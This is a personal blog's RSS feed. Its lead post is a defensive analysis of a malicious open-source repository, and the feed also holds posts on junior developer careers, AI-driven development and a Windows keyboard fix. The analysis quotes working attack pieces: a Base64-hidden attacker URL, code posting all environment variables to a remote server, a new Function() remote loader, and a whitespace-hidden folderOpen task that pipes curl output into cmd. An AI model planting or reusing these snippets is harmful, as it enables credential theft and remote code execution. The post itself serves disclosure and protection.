<?xml version="1.0" encoding="UTF-8" standalone="no"?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" version="2.0">

<channel>
	<title>Veselin Georgiev – personal small battles</title>
	<atom:link href="https://blog.petrovkata.com/feed/" rel="self" type="application/rss+xml"/>
	<link>https://blog.petrovkata.com</link>
	<description></description>
	<lastBuildDate>Sun, 05 Apr 2026 23:24:46 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	
<site xmlns="com-wordpress:feed-additions:1">108376040</site>	<itunes:explicit>no</itunes:explicit><itunes:subtitle/><itunes:category text="Technology"><itunes:category text="Software How-To"/></itunes:category><item>
		<title>Multi-Layer Malware Attack Hidden Inside an Open Source Repository</title>
		<link>https://blog.petrovkata.com/2026/04/multi-layer-malware-attack-hidden-inside-an-open-source-repository/</link>
					<comments>https://blog.petrovkata.com/2026/04/multi-layer-malware-attack-hidden-inside-an-open-source-repository/#respond</comments>
		
		<dc:creator><![CDATA[Veselin Georgiev]]></dc:creator>
		<pubDate>Sun, 05 Apr 2026 22:29:58 +0000</pubDate>
				<category><![CDATA[Personal]]></category>
		<category><![CDATA[Useful]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[cursor]]></category>
		<category><![CDATA[dev]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[vs code]]></category>
		<guid isPermaLink="false">https://blog.petrovkata.com/?p=657</guid>

					<description><![CDATA[As software engineers, we clone repositories constantly. It&#8217;s part of our daily workflow — evaluating libraries, reviewing code, testing demos. But what happens when the repository itself is the attack? This post documents how I identified a sophisticated, multi-layered attack embedded inside what appeared to be a legitimate open source project, and the step-by-step forensic [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><!-- PASTE THIS INTO WORDPRESS > ADD NEW POST > TEXT/HTML EDITOR --></p>
<p><em>As software engineers, we clone repositories constantly. It&#8217;s part of our daily workflow — evaluating libraries, reviewing code, testing demos. But what happens when the repository itself is the attack? This post documents how I identified a sophisticated, multi-layered attack embedded inside what appeared to be a legitimate open source project, and the step-by-step forensic process I used to explore it.</em></p>
<p><em>This isn&#8217;t a story about being hacked. It&#8217;s a story about catching something before it could do damage — and sharing what I found so you can do the same.</em></p>
<hr />
<h2>The Setup — It Looked Completely Legitimate</h2>
<p>The repository presented itself as a blockchain-based platform. It had a polished README, screenshots, a credible tech stack (React, Node.js, Solidity, Socket.io), and a clear project description. Nothing immediately obvious raised suspicion — it looked like dozens of other demo projects you might find on GitHub.</p>
<p>I cloned it, opened in Cursor, and that&#8217;s when things got interesting.</p>
<hr />
<h2>Layer 1 — Secrets Committed to a Public Repository</h2>
<p>The first thing I noticed during a routine code review was that <code>.env</code> and <code>.env.local</code> files were committed directly to the repository and publicly visible. They contained credentials for AWS, OpenAI, Stripe, and several blockchain API providers.</p>
<p>Most appeared to be placeholder values. But one variable stood out immediately:</p>
<pre><code>AUTH_API=aHR0cHM6Ly8yLTI3LWJrLTktYm9zcy1hcGktY29weS10aHJlZS52ZXJjZWwuYXBwL2FwaQ==</code></pre>
<p>A Base64-encoded value — deliberately obfuscated. Decoding it revealed a URL pointing to an unknown third-party server with no public presence whatsoever. <strong>Legitimate projects don&#8217;t hide URLs in Base64 inside environment files.</strong> This was the first serious red flag.</p>
<hr />
<h2>Layer 2 — The prepare Hook Executes Code on npm install</h2>
<p>Reviewing <code>package.json</code> revealed the second layer:</p>
<pre><code>"scripts": {
  "prepare": "node server/server.js"
}</code></pre>
<p>The <code>prepare</code> lifecycle hook runs automatically during <code>npm install</code>. This means simply installing dependencies <strong>silently started the server</strong> — with no user prompt, no warning, no visible output. This is a well-known supply chain attack technique: using npm lifecycle hooks to execute arbitrary code the moment a developer installs a project.</p>
<hr />
<h2>Layer 3 — The Server Exfiltrates Your Environment Variables</h2>
<p>Digging into the server-side code revealed what the server was designed to do once started. Inside the authentication controller:</p>
<pre><code>const verify = (api) =&gt;
  axios.post(api, { ...process.env }, {
    headers: { "x-app-request": "ip-check" }
  });</code></pre>
<p><code>{ ...process.env }</code> spreads <strong>every environment variable on your system</strong> and POSTs them to the attacker&#8217;s server. This includes AWS credentials, API keys, database connection strings, tokens — anything set in your system environment or loaded from <code>.env</code> files.</p>
<hr />
<h2>Layer 4 — Remote Code Execution via new Function()</h2>
<p>The deepest layer was in the route handler for authentication:</p>
<pre><code>const executor = new Function("require", response.data);
executor(require);</code></pre>
<p>Whatever JavaScript the attacker&#8217;s server returned in response to the POST was <strong>executed directly on the victim&#8217;s machine</strong> using Node.js&#8217;s <code>require</code> — giving it full access to the file system, network, and operating system. This is a complete remote code execution backdoor, with the payload controlled entirely server-side and never written to disk.</p>
<hr />
<h2>Layer 5 — The .vscode/tasks.json Weapon</h2>
<p>The most aggressive attack vector was hidden inside <code>.vscode/tasks.json</code>. The malicious command was padded with <strong>hundreds of blank spaces</strong> to push it far off-screen, invisible to anyone casually reviewing the file in a standard editor view:</p>
<pre><code>"command": "curl --ssl-no-revoke -L https://[attacker-domain].vercel.app/api/settings/windows | cmd"</code></pre>
<p>Combined with:</p>
<pre><code>"runOptions": { "runOn": "folderOpen" }</code></pre>
<p><a href="https://i0.wp.com/blog.petrovkata.com/wp-content/uploads/2026/04/Screenshot-2026-04-01-234556.png?ssl=1"><img data-recalc-dims="1" fetchpriority="high" decoding="async" data-attachment-id="660" data-permalink="https://blog.petrovkata.com/2026/04/multi-layer-malware-attack-hidden-inside-an-open-source-repository/screenshot-2026-04-01-234556/" data-orig-file="https://i0.wp.com/blog.petrovkata.com/wp-content/uploads/2026/04/Screenshot-2026-04-01-234556.png?fit=1666%2C873&amp;ssl=1" data-orig-size="1666,873" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="Screenshot 2026-04-01 234556" data-image-description="" data-image-caption="" data-large-file="https://i0.wp.com/blog.petrovkata.com/wp-content/uploads/2026/04/Screenshot-2026-04-01-234556.png?fit=670%2C351&amp;ssl=1" class="alignnone size-full wp-image-660" src="https://i0.wp.com/blog.petrovkata.com/wp-content/uploads/2026/04/Screenshot-2026-04-01-234556.png?resize=670%2C351&#038;ssl=1" alt="" width="670" height="351" srcset="https://i0.wp.com/blog.petrovkata.com/wp-content/uploads/2026/04/Screenshot-2026-04-01-234556.png?w=1666&amp;ssl=1 1666w, https://i0.wp.com/blog.petrovkata.com/wp-content/uploads/2026/04/Screenshot-2026-04-01-234556.png?resize=300%2C157&amp;ssl=1 300w, https://i0.wp.com/blog.petrovkata.com/wp-content/uploads/2026/04/Screenshot-2026-04-01-234556.png?resize=1024%2C537&amp;ssl=1 1024w, https://i0.wp.com/blog.petrovkata.com/wp-content/uploads/2026/04/Screenshot-2026-04-01-234556.png?resize=768%2C402&amp;ssl=1 768w, https://i0.wp.com/blog.petrovkata.com/wp-content/uploads/2026/04/Screenshot-2026-04-01-234556.png?resize=1536%2C805&amp;ssl=1 1536w, https://i0.wp.com/blog.petrovkata.com/wp-content/uploads/2026/04/Screenshot-2026-04-01-234556.png?resize=668%2C350&amp;ssl=1 668w, https://i0.wp.com/blog.petrovkata.com/wp-content/uploads/2026/04/Screenshot-2026-04-01-234556.png?w=1340&amp;ssl=1 1340w" sizes="(max-width: 670px) 100vw, 670px" /></a></p>
<p>This task executes <strong>automatically the moment you open the project folder</strong> in VS Code or Cursor — no click required, no confirmation needed (if workspace trust has been granted). It downloads a script from the attacker&#8217;s server and pipes it directly into the Windows command prompt, silently, with all output suppressed.</p>
<p>This is a fileless execution technique — nothing is saved to disk, making it significantly harder for antivirus software to detect in real time.</p>
<p>If you explore the file the chance to scroll right is really small and seeing that hidden curl command is almost impossible. You could see in the picture how it is really pushed maximum to the right with spaces.</p>
<hr />
<h2>The Attack Pattern — What to Look For</h2>
<p>This type of attack typically combines several techniques that individually look harmless but together form a complete compromise chain:</p>
<ul>
<li>Secrets committed to version control (to establish false legitimacy, or harvest if real)</li>
<li>npm lifecycle hooks (<code>prepare</code>, <code>preinstall</code>, <code>postinstall</code>) that execute code silently on install</li>
<li>Environment variable harvesting via <code>{ ...process.env }</code></li>
<li>Dynamic code execution via <code>eval()</code> or <code>new Function()</code></li>
<li><code>.vscode/tasks.json</code> with <code>runOn: folderOpen</code> to execute on project open</li>
<li>Obfuscated URLs hidden in Base64 or buried in whitespace</li>
</ul>
<p>None of these techniques is new in isolation. What makes this dangerous is their combination into a layered attack that can survive partial detection — if one vector is blocked, another may succeed.</p>
<hr />
<h2>How to Protect Yourself</h2>
<h3>Before running npm install on any unfamiliar project:</h3>
<pre><code># Review all lifecycle scripts first
cat package.json | grep -A 20 '"scripts"'

# Install without running lifecycle hooks
npm install --ignore-scripts

# Then manually review before running anything</code></pre>
<h3>Before opening any project in VS Code or Cursor:</h3>
<ul>
<li>Check <code>.vscode/tasks.json</code> for <code>runOn: folderOpen</code> entries</li>
<li>Check <code>.vscode/settings.json</code> for unexpected terminal or shell configurations</li>
<li>Never click &#8220;Trust&#8221; on a workspace from an unknown or unverified source</li>
</ul>
<h3>System-level protections:</h3>
<ul>
<li>Keep Windows Firewall enabled and pay close attention to outbound network prompts</li>
<li>Use a reputable antivirus for on-demand scanning after working with unknown code</li>
<li>Avoid storing real API keys in system environment variables — use a dedicated secrets manager</li>
<li>Consider running unknown or untrusted code inside a VM or Docker container</li>
</ul>
<h3>Red flags in any repository:</h3>
<ul>
<li><code>.env</code> files committed to version control</li>
<li>Obfuscated values (Base64, hex encoding) in configuration files</li>
<li>Unknown hosted endpoints in environment variables with no documentation</li>
<li><code>prepare</code>, <code>preinstall</code>, or <code>postinstall</code> scripts that start a server or make network calls</li>
<li><code>.vscode/tasks.json</code> files in repositories you didn&#8217;t create yourself</li>
</ul>
<hr />
<h2>Conclusion</h2>
<p>The sophistication of this attack wasn&#8217;t in any single technique — it was in the layering. Each component provided redundancy: if one vector failed, another might succeed. The <code>.vscode</code> task as a backup to the npm hook. The remote code execution as a backup to the environment variable exfiltration.</p>
<p>As software engineers, our workflow involves constantly running code we didn&#8217;t write. That&#8217;s not going to change. What can change is how carefully we inspect what we&#8217;re about to execute — especially when it comes from an unfamiliar source.</p>
<p>A thirty-second review of <code>package.json</code> and <code>.vscode/tasks.json</code> before cloning and installing could have identified every attack vector described in this post.</p>
<p><strong>Take the thirty seconds.</strong></p>
<hr />
<p><em>If you found this useful, share it with your team. The more engineers recognize these patterns, the harder this type of attack becomes to execute successfully.</em></p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.petrovkata.com/2026/04/multi-layer-malware-attack-hidden-inside-an-open-source-repository/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">657</post-id>	</item>
		<item>
		<title>How junior software engineers can gain experience in AI era. Why is it harder to find a job?</title>
		<link>https://blog.petrovkata.com/2026/03/how-junior-software-engineers-can-gain-experience-in-ai-era-why-is-it-harder-to-find-a-job/</link>
					<comments>https://blog.petrovkata.com/2026/03/how-junior-software-engineers-can-gain-experience-in-ai-era-why-is-it-harder-to-find-a-job/#respond</comments>
		
		<dc:creator><![CDATA[Veselin Georgiev]]></dc:creator>
		<pubDate>Sun, 29 Mar 2026 17:32:02 +0000</pubDate>
				<category><![CDATA[Technologies]]></category>
		<category><![CDATA[Useful]]></category>
		<category><![CDATA[junior engineers]]></category>
		<category><![CDATA[software development]]></category>
		<guid isPermaLink="false">https://blog.petrovkata.com/?p=643</guid>

					<description><![CDATA[We are in a situation where every company is looking only for experienced and senior software engineers nowadays. Since my career started, this is maybe the hardest moment to find a job if you are starting your career as a software engineer. There are several factors behind this situation that I will mention to explain [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>We are in a situation where every company is looking only for experienced and senior software engineers nowadays. Since my career started, this is maybe the hardest moment to find a job if you are starting your career as a software engineer. There are several factors behind this situation that I will mention to explain why, and then will also focus on some ideas for juniors on how to gain experience and what is important so they can be valuable to companies.</p>



<h3 class="wp-block-heading">Lowest amount of investments in the IT field in recent years (post 2022)</h3>



<p>Venture Capital Funds shifted their model from looking for companies with potential for growth to companies with strong business models and traction. There were also decreased volumes of money because of the economic recession, the war in Ukraine, and money being redirected back to traditional businesses due to the recovery of “business as usual”. This is leading companies to tighten their belts and not expand their teams at the pace seen in the last 15 years. This has been felt very strongly since the beginning of 2023.</p>



<h3 class="wp-block-heading">Shift in skill expectations driven by the IT revolution</h3>



<p>The traditional learning path has collapsed. In the past, juniors were learning by fixing bugs, working on small features, and through repetition, but now that is done by AI. The level of abstraction has increased to a level where senior engineers are reviewers of AI output and can use a combination of frameworks, SaaS, and PaaS platforms to minimize or even remove all low-level tasks. They are becoming architects and orchestrators of AI-generated code and platforms. So from &#8220;<strong>Writing code</strong>&#8220;, the needed skill now is &#8220;<strong>Problem Solving</strong>&#8220;, combining architectural knowledge, good AI prompting, understanding business needs, and seeing the bigger picture while thinking about how to provide a solution to the client.</p>



<h3 class="wp-block-heading">Oversupply of entry-level talent</h3>



<p>Over the last decades, it became very popular to be a software engineer, which led schools, universities, and academies to put many people on the market. They were already competing for companies’ attention in recent years, and now with the drop in demand, it further increases the barrier to entry.</p>



<h2 class="wp-block-heading">How to overcome this and enter the market if we love software engineering?</h2>



<p>There are several things that could help you succeed, and this advice is not only for today’s situation but is generally the right way to succeed in this dynamic industry. I also personally believe this approach is applicable to most other industries.</p>



<h3 class="wp-block-heading">Participate in non-paid projects and initiatives</h3>



<p>Start participating in initiatives outside of university/academy. This could be any kind of non-profit initiative or project. There are multiple foundations and NGOs that are looking for volunteers. This could be the first place where you can gain valuable experience. Of course, it may not be the best, but I believe there is no bad experience— even wrong decisions are experience that make us better people and specialists. You have two options here: you can find a local initiative that gives you not only experience but also networking and new connections that could support your career growth. The second option is to find a remote NGO to join, which is also a good option as you can improve your foreign language and remote work skills.</p>



<p>Check if there are local events in the industry you are trying to enter. These could be hackathons, seminars, conferences, or discussion groups—try to participate in as many as you can. One tip: if some of the conferences are paid, write to the organizers and ask for a free pass—you are a student and trying to save money. Another tip: many of these conferences have calls for volunteers at the beginning (I know this is not programming, but believe me, this is the right way).</p>



<p>Companies often have open days or participate in career festivals. These are places where you can speak with potential coworkers or future managers. Be open, positive, and open-minded. Don’t start with “I am looking for a job”, but ask what they are working on, talk about your projects and interests, and focus on positive outcomes of what you are building. Before going to the event, research the companies that will be there—check their websites, projects, and managers. It is possible to meet some of them at the event.</p>



<h3 class="wp-block-heading">Work on your pet project</h3>



<p>As soon as you have some programming skills, think of a problem to solve—it could be your parents’ business, a friend’s need, or something for the community. If you start working on something for the community, put it in a public repo and see if more people can contribute. Now, with the potential of vibe coding, it can be done quickly and become something useful and impactful.</p>



<p>Working on something driven by you will open your eyes very quickly. Building something from the beginning and solving real problems is aligned with the type of engineers that companies are looking for today—problem solvers who think outside the box and are goal-oriented.</p>



<p>All of this, especially if you are contributing to open-source projects, will be visible to your future potential employers and companies.</p>



<h3 class="wp-block-heading">Cover all disciplines in the software development process</h3>



<p>Even if you are fascinated by only one specific area, try to cover all directions in the development process. I am listing them below, but think of them as a whole. To align with what businesses expect today, software engineers must work as a complete team.</p>



<p>I know this seems like a lot. It is not necessary to become a guru in all of them from the beginning, but you should have basic knowledge of each. During a university degree (in computer science or informatics), you will go through most of them. If you are studying in an academy, probably only a few will be covered, so you need to actively fill the gaps.</p>



<h3 class="wp-block-heading">Find good sources of content creators for software engineering</h3>



<p>There are thousands of podcasts, authors, and content creators talking about software development. Find a few that work for you and follow their content weekly. It will help you stay informed about trends and technology direction.</p>



<h3 class="wp-block-heading">Become a good engineer</h3>



<p>It sounds broad, but especially at the beginning of your career, you should focus on the fundamentals of software engineering—good coding skills, understanding data, algorithms, software architecture, and other “boring” things. The better you become at these early on, the more opportunities you will have in the future. Use your university time to learn theory and apply it through experimentation in your pet projects, NGO work, or anywhere you can, to truly understand the abstractions you are using.</p>



<h3 class="wp-block-heading">Use AI, Vibe Coding, and Context Engineering as primary instruments</h3>



<p>You are in a great position—today’s AI tools allow you to do things that were impossible for entry-level engineers just a few years ago. AI is one of the main reasons for the current situation, but it is also the future of the industry. Choose the tools that work for you as AI coding assistants, use them heavily, improve the output, and understand it. This is how software will be developed in the near future.</p>



<h3 class="wp-block-heading">Work on your personal network</h3>



<p>This is an extra piece of advice, but maybe one of the most important. The way the world operates is based on human interactions and trust. The more people you know and who trust you, the greater your potential. You build connections through family, school, university, work, and all other interactions. The more touchpoints you have, the more people become part of your network. Start structuring this network early—keep useful information about people you meet: key skills, facts, and interests. Try to be helpful when possible and don’t fail them when you take responsibility. Over time, this network becomes one of your biggest assets—some of these people will become partners, sources of knowledge, investors, or coworkers.</p>



<h3 class="wp-block-heading">Work on your CV</h3>



<p>Start building your CV with both hard and soft skills, and include all projects you have participated in. Add live demos and public repositories. Include hobbies and achievements outside engineering (sports competitions, certificates, recognitions, etc.). Create a social media profile (LinkedIn is a good place), follow relevant groups and pages, and be active with comments and posts.</p>



<h2 class="wp-block-heading">Some final words</h2>



<p>This is not the fastest way to become a software engineer, but it is the right one. In recent years, there was a fast lane—learn some coding skills and enter the industry—but those times are over. If you want to build software, it is no longer a “code monkey” job, but an engineering one, and it takes time. If you enjoy it, then this is a great career path for you. If you enjoy it, all of the points above will come naturally—without stress, but with motivation and curiosity.</p>



<p><strong>Good luck and enjoy! <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></strong></p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.petrovkata.com/2026/03/how-junior-software-engineers-can-gain-experience-in-ai-era-why-is-it-harder-to-find-a-job/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">643</post-id>	</item>
		<item>
		<title>AI-DD (AI Driven Development): How it changes the game?</title>
		<link>https://blog.petrovkata.com/2026/03/ai-dd-ai-driven-development-how-it-changes-the-game/</link>
					<comments>https://blog.petrovkata.com/2026/03/ai-dd-ai-driven-development-how-it-changes-the-game/#respond</comments>
		
		<dc:creator><![CDATA[Veselin Georgiev]]></dc:creator>
		<pubDate>Sat, 21 Mar 2026 21:06:55 +0000</pubDate>
				<category><![CDATA[Technologies]]></category>
		<category><![CDATA[Useful]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[AI]]></category>
		<category><![CDATA[software development]]></category>
		<guid isPermaLink="false">https://blog.petrovkata.com/?p=609</guid>

					<description><![CDATA[There is a growing narrative that “vibe coding” will eliminate the need for developers, that software engineering jobs are coming to an end, and that people in the industry should start thinking about new careers. While these claims are gaining attention, they oversimplify what is actually happening. In this article, I will share my perspective [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>There is a growing narrative that “vibe coding” will eliminate the need for developers, that software engineering jobs are coming to an end, and that people in the industry should start thinking about new careers. While these claims are gaining attention, they oversimplify what is actually happening. In this article, I will share my perspective on what is truly changing, and what it means for the future of software development.</p>



<p>What is certain is that the way we build software is changing fundamentally.</p>



<p>When I started working as a software engineer about 22 years ago, it was neither particularly attractive nor highly paid. People were drawn to it not because of the money, but because of the possibilities—what could be created with a computer and an internet connection. Personally, I spent thousands of hours experimenting, testing, and building things that brought no financial return, simply because it was interesting, fun, or had the potential to improve something.</p>



<p>Over the past 15 years, this changed dramatically. The rapid growth of digitalization and the demand for new software products created an enormous need for engineers. Salaries increased significantly, and the industry attracted people from a wide range of backgrounds. At the same time, building software became more expensive year after year, while the overall efficiency of teams did not scale at the same pace.</p>



<p>Today, we are a few years into the widespread adoption of Large Language Models (LLMs), initially popularized by OpenAI, and we are seeing an explosion of tools across all areas of business. In this article, I will focus on software engineering, although the same shift is already visible in many other industries.</p>



<p>AI coding agents now enable even non-technical users to generate code and build entire applications. Tools like Lovable opened this space to a much broader audience. For the first time, people with ideas can describe what they want in plain language and receive working results almost instantly.<br>Of course, this approach does not yet scale easily to production-grade systems. But for building proofs of concept (POC) and MVPs, it is already extremely powerful. This was the first clear signal of how the industry could change, and since then, a wave of new tools and early frameworks for using AI at scale has started to emerge.</p>



<p>So here comes the question, how can we organize our work using that tooling so we could achieve high productivity, high quality and potential for future development and R&amp;D of those systems.</p>



<h2 class="wp-block-heading">Documentation becomes the control system</h2>



<p>Documentation is no longer a byproduct of development.</p>



<p>It becomes the system that drives it.<br><strong>Code is no longer the source of truth. Documentation is.</strong></p>



<figure class="wp-block-image size-large is-resized"><img data-recalc-dims="1" decoding="async" width="670" height="1005" data-attachment-id="621" data-permalink="https://blog.petrovkata.com/2026/03/ai-dd-ai-driven-development-how-it-changes-the-game/documentation-is-a-key/" data-orig-file="https://i0.wp.com/blog.petrovkata.com/wp-content/uploads/2026/03/documentation-is-a-key.png?fit=1024%2C1536&amp;ssl=1" data-orig-size="1024,1536" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="documentation-is-a-key" data-image-description="" data-image-caption="" data-large-file="https://i0.wp.com/blog.petrovkata.com/wp-content/uploads/2026/03/documentation-is-a-key.png?fit=670%2C1005&amp;ssl=1" src="https://i0.wp.com/blog.petrovkata.com/wp-content/uploads/2026/03/documentation-is-a-key.png?resize=670%2C1005&#038;ssl=1" alt="" class="wp-image-621" style="aspect-ratio:0.6669975186104219;object-fit:contain;width:400px" srcset="https://i0.wp.com/blog.petrovkata.com/wp-content/uploads/2026/03/documentation-is-a-key.png?resize=683%2C1024&amp;ssl=1 683w, https://i0.wp.com/blog.petrovkata.com/wp-content/uploads/2026/03/documentation-is-a-key.png?resize=200%2C300&amp;ssl=1 200w, https://i0.wp.com/blog.petrovkata.com/wp-content/uploads/2026/03/documentation-is-a-key.png?resize=768%2C1152&amp;ssl=1 768w, https://i0.wp.com/blog.petrovkata.com/wp-content/uploads/2026/03/documentation-is-a-key.png?resize=668%2C1002&amp;ssl=1 668w, https://i0.wp.com/blog.petrovkata.com/wp-content/uploads/2026/03/documentation-is-a-key.png?w=1024&amp;ssl=1 1024w" sizes="(max-width: 670px) 100vw, 670px" /></figure>



<p>When AI is responsible for execution, the quality of the output depends entirely on the quality of the input. And that input is not code — it is structured documentation.</p>



<p>This is essentially Context Engineering (<em>I liked the term immediately when heard</em>), it represents exactly what the engineers need to do. Create the best context with documentation and prompts and execute it with the code agents.</p>



<p>Product requirements, technical specifications, architecture decisions, and prompt templates are no longer passive artifacts. They actively define how the system will be built.</p>



<p>In this model, documentation acts as a control layer:</p>



<ul class="wp-block-list">
<li>It sets the boundaries</li>



<li>It provides context</li>



<li>It defines expected behavior</li>
</ul>



<p>AI follows what is defined. Nothing more, nothing less.</p>



<p>This leads to a simple but critical rule:</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p><strong>Bad documentation leads to bad systems.<br>Well-structured documentation enables scalable, high-quality execution.</strong></p>
</blockquote>



<h2 class="wp-block-heading">AI is the execution layer</h2>



<p>AI should not be seen as the architect of the product, but as its execution layer.</p>



<p>That distinction is critical.</p>



<p>AI can generate code, refactor modules, write tests, prepare documentation, suggest architecture patterns, and accelerate delivery dramatically. But it does not own the business context, the priorities, the trade-offs, or the long-term vision of the system. Those remain human responsibilities.</p>



<p>This is why the role of the engineer is not disappearing — it is evolving.</p>



<p>Starting the project means providing the well-structured AI-oriented documentation, including functional definitions, technology information, default prompts, designs (also integrated with AI first design systems). </p>



<p>Engineers are no longer only implementers. They become orchestrators of the full development process: defining the structure, setting the constraints, providing the right context, validating outputs, and deciding what is good enough to move forward.</p>



<p>Development of the product should be staged on phases and every phase to be refactored and verified by the human engineers, refined and improved and created tests before continuing to the next phase of development.</p>



<p>In this model, AI provides speed. Humans provide direction.</p>



<p>When that balance is right, the result is not just faster development, but better development — more structured, better documented, more testable, and easier to improve over time.</p>



<h2 class="wp-block-heading">QA by design</h2>



<p>In traditional development, quality assurance often comes at the end of the process, unless you are using Test-Driven Development (TDD) approach of programming. Testing is treated as a final checkpoint before release. Here in the era of AI-DD it is part of the every phase of the development and it is crucial for verifying the quality and potential regression situations that may arise because of the speed of the development that we could achieve. </p>



<p>Because AI accelerates development significantly, it also increases the risk of introducing errors, inconsistencies, and regressions at a much faster rate. Without continuous validation, speed quickly turns into instability.</p>



<p>That’s why QA must be embedded into every phase of the development lifecycle.</p>



<p>Testing is not an afterthought — it is part of the system definition itself.</p>



<p>As part of the project documentation and AI instructions, teams should define:</p>



<ul class="wp-block-list">
<li>Unit tests for core logic</li>



<li>Integration tests for system interactions</li>



<li>End-to-end tests for user flows</li>



<li>Edge-case scenarios for robustness</li>
</ul>



<p>AI can assist in generating and maintaining these tests, but their structure and coverage must be intentionally designed by engineers.</p>



<p><strong>In AI-DD, speed without QA is risk. QA is what makes speed sustainable.</strong></p>



<h2 class="wp-block-heading">Code is no longer written &#8211; it&#8217;s prompted</h2>



<p>One of the most visible shifts in AI-Driven Development is how code is produced.</p>



<p>This does not mean coding disappears. It means coding becomes an outcome of a higher-level process.</p>



<p>Engineers describe:</p>



<ul class="wp-block-list">
<li>what the system should do</li>



<li>how components should interact</li>



<li>what constraints must be respected</li>
</ul>



<p>And AI translates that into working code.</p>



<p>The quality of the result depends not on typing speed, but on:</p>



<ul class="wp-block-list">
<li>clarity of specifications</li>



<li>structure of prompts</li>



<li>completeness of context</li>
</ul>



<p>Clear thinking leads to high-quality systems.</p>



<p>This is why prompting is not a shortcut — it is a new engineering skill.</p>



<p>Zero hand written code platforms are here! Having great documentation, organization of the project and guaranteed quality makes engineers to supervise the AI agents code generation only. </p>



<h2 class="wp-block-heading">Final thoughts: What This Means for the Industry</h2>



<p>AI-Driven Development will not eliminate software engineering — but it will fundamentally reshape it.</p>



<p>The most immediate impact is speed.<br>Teams can already build and iterate significantly faster — in some cases 5–10-20x, and in specific scenarios even more. This changes the economics of software.</p>



<p>Faster delivery means:</p>



<ul class="wp-block-list">
<li>fewer people needed for the same output</li>



<li>shorter development cycles</li>



<li>more experimentation and iteration</li>
</ul>



<p>As a result, parts of the market will compress.<br>Roles focused purely on execution will become less valuable, and compensation models will likely adjust over time.</p>



<p>But this is only one side of the shift.</p>



<p>The real transformation is in how engineers think and operate.</p>



<p>Engineers can no longer focus only on isolated tasks.<br>They need to understand the full system — product, architecture, infrastructure, integrations, testing, performance, security, and user experience — as a connected whole.</p>



<p>The role evolves from implementer to orchestrator.</p>



<p>From writing code → to defining systems<br>From executing tasks → to designing processes<br>From solving tickets → to owning outcomes</p>



<p>For those who embrace this shift, the opportunity is significant.</p>



<p>AI removes a large part of the mechanical work.<br>It allows engineers to focus on what actually matters: structure, decisions, and impact.</p>



<p>Those who enjoy technology, curiosity, and building systems will benefit the most.</p>



<p>Those who rely only on execution will struggle to adapt.</p>



<p><strong>AI will not replace engineers.<br>But engineers who understand how to use AI will replace those who don’t.</strong></p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.petrovkata.com/2026/03/ai-dd-ai-driven-development-how-it-changes-the-game/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">609</post-id>	</item>
		<item>
		<title>Windows 2018 April Update – how to remove UK keyboard</title>
		<link>https://blog.petrovkata.com/2018/05/windows-2018-april-update-how-to-remove-uk-keyboard/</link>
					<comments>https://blog.petrovkata.com/2018/05/windows-2018-april-update-how-to-remove-uk-keyboard/#respond</comments>
		
		<dc:creator><![CDATA[Veselin Georgiev]]></dc:creator>
		<pubDate>Mon, 07 May 2018 07:01:20 +0000</pubDate>
				<category><![CDATA[Personal]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[Windows 10]]></category>
		<guid isPermaLink="false">http://blog.petrovkata.com/?p=473</guid>

					<description><![CDATA[Last Windows 10 April Update added to my keyboads us_UK keyboard, which can&#8217;t be removed. I&#8217;ve tried a lot of different options with standard Windows interfaces with no success, so I&#8217;ve did it thru Windows Powershell. This method reset all keyboards and set new default one. Start Windows PowerShell &#8211; Windows button, type PowerShell and [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Last Windows 10 April Update added to my keyboads us_UK keyboard, which can&#8217;t be removed.</p>
<p>I&#8217;ve tried a lot of different options with standard Windows interfaces with no success, so I&#8217;ve did it thru Windows Powershell.</p>
<p>This method reset all keyboards and set new default one.</p>
<ol>
<li>Start Windows PowerShell &#8211; Windows button, type PowerShell and start it</li>
<li>Check which are current available keyboards typing command
<pre class="EnlighterJSRAW" data-enlighter-language="null">Get-WinUserLanguageList</pre>
